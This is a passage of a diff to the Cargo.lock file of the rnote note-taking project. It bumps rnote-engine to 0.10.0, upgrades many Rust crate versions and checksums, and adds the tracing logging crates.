"ink-stroke-modeler-rs", - "kurbo", - "log", + "kurbo 0.10.4", "nalgebra", - "num-derive 0.4.1", + "num-derive 0.4.2", "num-traits", "once_cell", "palette", @@ -3505,11 +3562,12 @@ dependencies = [ "roughr", "serde", "svg", + "tracing", ] [[package]] name = "rnote-engine" -version = "0.9.4" +version = "0.10.0" dependencies = [ "anyhow", "approx", @@ -3525,12 +3583,11 @@ dependencies = [ "gtk4", "ijson", "image", - "itertools 0.12.0", - "kurbo", + "itertools 0.12.1", + "kurbo 0.10.4", "librsvg", - "log", "nalgebra", - "num-derive 0.4.1", + "num-derive 0.4.2", "num-traits", "once_cell", "parry2d-f64", @@ -3546,7 +3603,7 @@ dependencies = [ "rodio", "rough_piet", "roughr", - "roxmltree 0.19.0", + "roxmltree", "rstar", "semver", "serde", @@ -3554,6 +3611,7 @@ dependencies = [ "slotmap", "svg", "thiserror", + "tracing", "unicode-segmentation", "usvg", "xmlwriter", @@ -3606,24 +3664,15 @@ dependencies = [ [[package]] name = "roxmltree" -version = "0.18.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "862340e351ce1b271a378ec53f304a5558f7db87f3769dc655a8f6ecbb68b302" -dependencies = [ - "xmlparser", -] - -[[package]] -name = "roxmltree" version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3cd14fd5e3b777a7422cca79358c57a8f6e3a703d9ac187448d0daf220c2407f" [[package]] name = "rstar" -version = "0.11.0" +version = "0.12.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "73111312eb7a2287d229f06c00ff35b51ddee180f017ab6dec1f69d62ac098d6" +checksum = "133315eb94c7b1e8d0cb097e5a710d850263372fd028fff18969de708afc7008" dependencies = [ "heapless", "num-traits", @@ -3653,28 +3702,14 @@ dependencies = [ [[package]] name = "rustix" -version = "0.37.27" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fea8ca367a3a01fe35e6943c400addf443c0f57670e6ec51196f71a4b8762dd2" -dependencies = [ - "bitflags 1.3.2", - "errno", - "io-lifetimes", - "libc", - "linux-raw-sys 0.3.8", - "windows-sys 0.48.0", -] - -[[package]] -name = "rustix" -version = "0.38.26" +version = "0.38.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9470c4bf8246c8daf25f9598dca807fb6510347b1e1cfa55749113850c79d88a" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "errno", "libc", - "linux-raw-sys 0.4.12", + "linux-raw-sys", "windows-sys 0.52.0", ] @@ -3686,11 +3721,11 @@ checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" [[package]] name = "rustybuzz" -version = "0.10.0" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "71cd15fef9112a1f94ac64b58d1e4628192631ad6af4dc69997f995459c874e7" +checksum = "f0ae5692c5beaad6a9e22830deeed7874eae8a4e3ba4076fb48e12c56856222c" dependencies = [ - "bitflags 1.3.2", + "bitflags 2.4.2", "bytemuck", "smallvec", "ttf-parser", @@ -3702,9 +3737,9 @@ dependencies = [ [[package]] name = "ryu" -version = "1.0.15" +version = "1.0.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" +checksum = "e86697c916019a8588c99b5fac3cead74ec0b4b819707a682fd4d23fa0ce1ba1" [[package]] name = "safe_arch" @@ -3736,7 +3771,7 @@ version = "0.25.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4eb30575f3638fc8f6815f448d50cb1a2e255b0897985c8c59f4d37b72a07b06" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "cssparser", "derive_more", "fxhash", @@ -3751,38 +3786,38 @@ dependencies = [ [[package]] name = "semver" -version = "1.0.20" +version = "1.0.22" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "836fa6a3e1e547f9a2c4040802ec865b5d85f4014efe00555d7090a3dcaa1090" +checksum = "92d43fe69e652f3df9bdc2b85b2854a0825b86e4fb76bc44d945137d053639ca" dependencies = [ "serde", ] [[package]] name = "serde" -version = "1.0.193" +version = "1.0.197" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" +checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.193" +version = "1.0.197" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" +checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] name = "serde_json" -version = "1.0.108" +version = "1.0.114" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" +checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0" dependencies = [ "itoa", "ryu", @@ -3791,9 +3826,9 @@ dependencies = [ [[package]] name = "serde_spanned" -version = "0.6.4" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12022b835073e5b11e90a14f86838ceb1c8fb0325b72416845c487ac0fa95e80" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" dependencies = [ "serde", ] @@ -3808,6 +3843,15 @@ dependencies = [ ] [[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] name = "shell-words" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -3815,9 +3859,9 @@ checksum = "24188a676b6ae68c3b2cb3a01be17fbf7240ce009799bb56d5b1409051e78fde" [[package]] name = "shlex" -version = "1.2.0" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a7cee0529a6d40f580e7a5e6c495c8fbfe21b7b52795ed4bb5e62cdf92bc6380" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" [[package]] name = "signal-hook-registry" @@ -3883,9 +3927,9 @@ dependencies = [ [[package]] name = "smallvec" -version = "1.11.2" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "smawk" @@ -3895,36 +3939,26 @@ checksum = "b7c388c1b5e93756d0c740965c41e8822f866621d41acbdf6336a6a168f8840c" [[package]] name = "smol" -version = "1.3.0" +version = "2.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "13f2b548cd8447f8de0fdf1c592929f70f4fc7039a05e47404b0d096ec6987a1" +checksum = "e635339259e51ef85ac7aa29a1cd991b957047507288697a690e80ab97d07cad" dependencies = [ - "async-channel 1.9.0", + "async-channel", "async-executor", "async-fs", - "async-io 1.13.0", - "async-lock 2.8.0", + "async-io", + "async-lock 3.3.0", "async-net", "async-process", "blocking", - "futures-lite 1.13.0", -] - -[[package]] -name = "socket2" -version = "0.4.10" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" -dependencies = [ - "libc", - "winapi", + "futures-lite", ] [[package]] name = "spade" -version = "2.4.1" +version = "2.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "87a3ef2efbc408c9051c1a27ce7edff430d74531d31a480b7ca4f618072c2670" +checksum = "61addf9117b11d1f5b4bf6fe94242ba25f59d2d4b2080544b771bd647024fd00" dependencies = [ "hashbrown 0.14.3", "num-traits", @@ -3989,6 +4023,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" [[package]] +name = "strsim" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ee073c9e4cd00e28217186dbe12796d692868f432bf2e97ee73bed0c56dfa01" + +[[package]] name = "strum_macros" version = "0.24.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4022,18 +4062,18 @@ dependencies = [ [[package]] name = "supports-unicode" -version = "2.0.0" +version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b6c2cb240ab5dd21ed4906895ee23fe5a48acdbd15a3ce388e7b62a9b66baf7" +checksum = "f850c19edd184a205e883199a261ed44471c81e39bd95b1357f5febbef00e77a" dependencies = [ "is-terminal", ] [[package]] name = "svg" -version = "0.14.0" +version = "0.16.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d703a3635418d4e4d0e410009ddbfb65047ef9468b1d29afd3b057a5bc4c217" +checksum = "583e1c5c326fd6fede8797006de3b95ad6bcd60a592952952c5ba7ddd7e84c83" [[package]] name = "svg_path_ops" @@ -4055,33 +4095,33 @@ dependencies = [ [[package]] name = "svgtypes" -version = "0.12.0" +version = "0.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d71499ff2d42f59d26edb21369a308ede691421f79ebc0f001e2b1fd3a7c9e52" +checksum = "59d7618f12b51be8171a7cfdda1e7a93f79cbc57c4e7adf89a749cf671125241" dependencies = [ - "kurbo", + "kurbo 0.10.4", "siphasher", ] [[package]] name = "symphonia" -version = "0.5.3" +version = "0.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62e48dba70095f265fdb269b99619b95d04c89e619538138383e63310b14d941" +checksum = "815c942ae7ee74737bb00f965fa5b5a2ac2ce7b6c01c0cc169bbeaf7abd5f5a9" dependencies = [ "lazy_static", "symphonia-codec-adpcm", "symphonia-codec-pcm", "symphonia-core", - "symphonia-format-wav", + "symphonia-format-riff", "symphonia-metadata", ] [[package]] name = "symphonia-codec-adpcm" -version = "0.5.3" +version = "0.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "870e7dc1865d818c7b6318879d060553a73a3b2a3b8443dff90910f10ac41150" +checksum = "c94e1feac3327cd616e973d5be69ad36b3945f16b06f19c6773fc3ac0b426a0f" dependencies = [ "log", "symphonia-core", @@ -4089,9 +4129,9 @@ dependencies = [ [[package]] name = "symphonia-codec-pcm" -version = "0.5.3" +version = "0.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "47f1fbd220a06a641c8ce2ddad10f5ef6ee5cc0c54d9044d25d43b0d3119deaa" +checksum = "f395a67057c2ebc5e84d7bb1be71cce1a7ba99f64e0f0f0e303a03f79116f89b" dependencies = [ "log", "symphonia-core", @@ -4099,9 +4139,9 @@ dependencies = [ [[package]] name = "symphonia-core" -version = "0.5.3" +version = "0.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f7c73eb88fee79705268cc7b742c7bc93a7b76e092ab751d0833866970754142" +checksum = "798306779e3dc7d5231bd5691f5a813496dc79d3f56bf82e25789f2094e022c3" dependencies = [ "arrayvec", "bitflags 1.3.2", @@ -4111,11 +4151,12 @@ dependencies = [ ] [[package]] -name = "symphonia-format-wav" -version = "0.5.3" +name = "symphonia-format-riff" +version = "0.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da76614728fa27c003bdcdfbac51396bd8fcbf94c95fe8e62f1d2bac58ef03a4" +checksum = "05f7be232f962f937f4b7115cbe62c330929345434c834359425e043bfd15f50" dependencies = [ + "extended", "log", "symphonia-core", "symphonia-metadata", @@ -4123,9 +4164,9 @@ dependencies = [ [[package]] name = "symphonia-metadata" -version = "0.5.3" +version = "0.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89c3e1937e31d0e068bbe829f66b2f2bfaa28d056365279e0ef897172c3320c0" +checksum = "bc622b9841a10089c5b18e99eb904f4341615d5aa55bbf4eedde1be721a4023c" dependencies = [ "encoding_rs", "lazy_static", @@ -4146,9 +4187,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.39" +version = "2.0.52" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23e78b90f2fcf45d3e842032ce32e3f2d1545ba6636271dcbf24fa306d87be7a" +checksum = "b699d15b36d1f02c3e7c69f8ffef53de37aefae075d8488d4ba1a7788d574a07" dependencies = [ "proc-macro2", "quote", @@ -4164,33 +4205,32 @@ dependencies = [ "cfg-expr", "heck", "pkg-config", - "toml 0.8.2", + "toml 0.8.10", "version-compare", ] [[package]] name = "target-lexicon" -version = "0.12.12" +version = "0.12.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14c39fd04924ca3a864207c66fc2cd7d22d7c016007f9ce846cbb9326331930a" +checksum = "e1fc403891a21bcfb7c37834ba66a547a8f402146eba7265b5a6d88059c9ff2f" [[package]] name = "temp-dir" -version = "0.1.11" +version = "0.1.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af547b166dd1ea4b472165569fc456cfb6818116f854690b0ff205e636523dab" +checksum = "dd16aa9ffe15fe021c6ee3766772132c6e98dfa395a167e16864f61a9cfb71d6" [[package]] name = "tempfile" -version = "3.8.1" +version = "3.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5" +checksum = "85b77fafb263dd9d05cbeac119526425676db3784113aa9295c88498cbf8bff1" dependencies = [ "cfg-if", - "fastrand 2.0.1", - "redox_syscall", - "rustix 0.38.26", - "windows-sys 0.48.0", + "fastrand", + "rustix", + "windows-sys 0.52.0", ] [[package]] @@ -4206,9 +4246,9 @@ dependencies = [ [[package]] name = "termcolor" -version = "1.4.0" +version = "1.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff1bc3d3f05aff0403e8ac0d92ced918ec05b666a43f83297ccef5bea8a3d449" +checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755" dependencies = [ "winapi-util", ] @@ -4236,29 +4276,39 @@ dependencies = [ [[package]] name = "thiserror" -version = "1.0.50" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f9a7210f5c9a7156bb50aa36aed4c95afb51df0df00713949448cf9e97d382d2" +checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.50" +version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "266b2e40bc00e5a6c09c3584011e08b06f123c00362c92b975ba9843aaaa14b8" +checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", +] + +[[package]] +name = "thread_local" +version = "1.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b9ef9bad013ada3808854ceac7b46812a6465ba368859a37e2100283d2d719c" +dependencies = [ + "cfg-if", + "once_cell", ] [[package]] name = "tiff" -version = "0.9.0" +version = "0.9.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d172b0f4d3fba17ba89811858b9d3d97f928aece846475bbda076ca46736211" +checksum = "ba1310fcea54c6a9a4fd1aad794ecc02c31682f6bfbecdf460bf19533eed1e3e" dependencies = [ "flate2", "jpeg-decoder", @@ -4267,9 +4317,9 @@ dependencies = [ [[package]] name = "tiny-skia-path" -version = "0.11.3" +version = "0.11.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5de35e8a90052baaaf61f171680ac2f8e925a1e43ea9d2e3a00514772250e541" +checksum = "9c9e7fc0c2e86a30b117d0462aa261b72b7a99b7ebd7deb3a14ceda95c5bdc93" dependencies = [ "arrayref", "bytemuck", @@ -4305,21 +4355,21 @@ dependencies = [ [[package]] name = "toml" -version = "0.8.2" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "185d8ab0dfbb35cf1399a6344d8484209c088f75f8f68230da55d48d95d43e3d" +checksum = "9a9aad4a3066010876e8dcf5a8a06e70a558751117a145c6ce2b82c2e2054290" dependencies = [ "serde", "serde_spanned", "toml_datetime", - "toml_edit 0.20.2", + "toml_edit 0.22.6", ] [[package]] name = "toml_datetime" -version = "0.6.3" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" dependencies = [ "serde", ] @@ -4330,24 +4380,35 @@ version = "0.19.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.5", "serde", "serde_spanned", "toml_datetime", - "winnow", + "winnow 0.5.40", +] + +[[package]] +name = "toml_edit" +version = "0.21.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a8534fd7f78b5405e860340ad6575217ce99f38d4d5c8f2442cb5ecb50090e1" +dependencies = [ + "indexmap 2.2.5", + "toml_datetime", + "winnow 0.5.40", ] [[package]] name = "toml_edit" -version = "0.20.2" +version = "0.22.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "396e4d48bbb2b7554c944bde63101b5ae446cff6ec4a24227428f15eb72ef338" +checksum = "2c1b5fd4128cc8d3e0cb74d4ed9a9cc7c7284becd4df68f5f940e1ad123606f6" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.5", "serde", "serde_spanned", "toml_datetime", - "winnow", + "winnow 0.6.5", ] [[package]] @@ -4357,20 +4418,65 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" dependencies = [ "pin-project-lite", + "tracing-attributes", "tracing-core", ] [[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.52", +] + +[[package]] name = "tracing-core" version = "0.1.32" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] [[package]] name = "ttf-parser" -version = "0.19.2" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49d64318d8311fc2668e48b63969f4343e0a85c4a109aa8460d6672e364b8bd1" +checksum = "17f77d76d837a7830fe1d4f12b7b4ba4192c1888001c7164257e4bc6d21d96b4" [[package]] name = "typenum" @@ -4431,9 +4537,9 @@ dependencies = [ [[package]] name = "unicode-bidi" -version = "0.3.14" +version = "0.3.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f2528f27a9eb2b21e69c95319b30bd0efd85d09c379741b0f78ea1d86be2416" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" [[package]] name = "unicode-bidi-mirroring" @@ -4461,30 +4567,30 @@ checksum = "3b09c83c3c29d37506a3e260c08c03743a6bb66a9cd432c6934ab501a190571f" [[package]] name = "unicode-normalization" -version = "0.1.22" +version = "0.1.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +checksum = "a56d1686db2308d901306f92a263857ef59ea39678a5458e7cb17f01415101f5" dependencies = [ "tinyvec", ] [[package]] name = "unicode-properties" -version = "0.1.0" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c7f91c8b21fbbaa18853c3d0801c78f4fc94cdb976699bb03e832e75f7fd22f0" +checksum = "e4259d9d4425d9f0661581b804cb85fe66a4c631cadd8f490d1c13a35d5d9291" [[package]] name = "unicode-script" -version = "0.5.5" +version = "0.5.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d817255e1bed6dfd4ca47258685d14d2bdcfbc64fdc9e3819bd5848057b8ecc" +checksum = "ad8d71f5726e5f285a935e9fe8edfd53f0491eb6e9a5774097fdabee7cd8c9cd" [[package]] name = "unicode-segmentation" -version = "1.10.1" +version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" +checksum = "d4c87d22b6e3f4a18d4d40ef354e97c90fcb14dd91d7dc0aa9d8a1172ebf7202" [[package]] name = "unicode-vo" @@ -4511,63 +4617,29 @@ dependencies = [ [[package]] name = "usvg" -version = "0.36.0" +version = "0.40.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c51daa774fe9ee5efcf7b4fec13019b8119cda764d9a8b5b06df02bb1445c656" +checksum = "c04150a94f0bfc3b2c15d4e151524d14cd06765fc6641d8b1c59a248360d4474" dependencies = [ "base64", - "log", - "pico-args", - "usvg-parser", - "usvg-text-layout", - "usvg-tree", - "xmlwriter", -] - -[[package]] -name = "usvg-parser" -version = "0.36.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "45c88a5ffaa338f0e978ecf3d4e00d8f9f493e29bed0752e1a808a1db16afc40" -dependencies = [ "data-url", "flate2", + "fontdb", "imagesize", - "kurbo", + "kurbo 0.9.5", "log", - "roxmltree 0.18.1", + "pico-args", + "roxmltree", + "rustybuzz", "simplecss", "siphasher", - "svgtypes 0.12.0", - "usvg-tree", -] - -[[package]] -name = "usvg-text-layout" -version = "0.36.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d2374378cb7a3fb8f33894e0fdb8625e1bbc4f25312db8d91f862130b541593" -dependencies = [ - "fontdb", - "kurbo", - "log", - "rustybuzz", + "strict-num", + "svgtypes 0.14.0", + "tiny-skia-path", "unicode-bidi", "unicode-script", "unicode-vo", - "usvg-tree", -] - -[[package]] -name = "usvg-tree" -version = "0.36.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6cacb0c5edeaf3e80e5afcf5b0d4004cc1d36318befc9a7c6606507e5d0f4062" -dependencies = [ - "rctree", - "strict-num", - "svgtypes 0.12.0", - "tiny-skia-path", + "xmlwriter", ] [[package]] @@ -4583,6 +4655,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" [[package]] +name = "valuable" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] name = "version-compare" version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4595,12 +4673,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" [[package]] -name = "waker-fn" -version = "1.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f3c4517f54858c779bbcbf228f4fca63d121bf85fbecb2dc578cdf4a39395690" - -[[package]] name = "walkdir" version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4618,9 +4690,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "wasm-bindgen" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" dependencies = [ "cfg-if", "wasm-bindgen-macro", @@ -4628,24 +4700,24 @@ dependencies = [ [[package]] name = "wasm-bindgen-backend" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" dependencies = [ "bumpalo", "log", "once_cell", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-futures" -version = "0.4.39" +version = "0.4.41" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ac36a15a220124ac510204aec1c3e5db8a22ab06fd6706d881dc6149f8ed9a12" +checksum = "877b9c3f61ceea0e56331985743b13f3d25c406a7098d45180fb5f09bc19ed97" dependencies = [ "cfg-if", "js-sys", @@ -4655,9 +4727,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -4665,28 +4737,28 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" [[package]] name = "web-sys" -version = "0.3.66" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "50c24a44ec86bb68fbecd1b3efed7e85ea5621b39b35ef2766b66cd984f8010f" +checksum = "96565907687f7aceb35bc5fc03770a8a0471d82e479f25832f54a0e3f4b28446" dependencies = [ "js-sys", "wasm-bindgen", @@ -4694,9 +4766,9 @@ dependencies = [ [[package]] name = "weezl" -version = "0.1.7" +version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9193164d4de03a926d909d3bc7c30543cecb35400c02114792c2cae20d5e2dbb" +checksum = "53a85b86a771b1c87058196170769dd264f66c0782acf1ae6cc51bfd64b39082" [[package]] name = "which" @@ -4707,14 +4779,14 @@ dependencies = [ "either", "home", "once_cell", - "rustix 0.38.26", + "rustix", ] [[package]] name = "wide" -version = "0.7.13" +version = "0.7.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c68938b57b33da363195412cfc5fc37c9ed49aa9cfe2156fde64b8d2c9498242" +checksum = "89beec544f246e679fc25490e3f8e08003bc4bf612068f325120dad4cea02c1c" dependencies = [ "bytemuck", "safe_arch", @@ -4762,20 +4834,11 @@ dependencies = [ [[package]] name = "windows-core" -version = "0.51.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64" -dependencies = [ - "windows-targets 0.48.5", -] - -[[package]] -name = "windows-sys" -version = "0.45.0" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" dependencies = [ - "windows-targets 0.42.2", + "windows-targets 0.52.4", ] [[package]] @@ -4793,7 +4856,7 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" dependencies = [ - "windows-targets 0.52.0", + "windows-targets 0.52.4", ] [[package]] @@ -4828,17 +4891,17 @@ dependencies = [ [[package]] name = "windows-targets" -version = "0.52.0" +version = "0.52.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +checksum = "7dd37b7e5ab9018759f893a1952c9420d060016fc19a472b4bb20d1bdd694d1b" dependencies = [ - "windows_aarch64_gnullvm 0.52.0", - "windows_aarch64_msvc 0.52.0", - 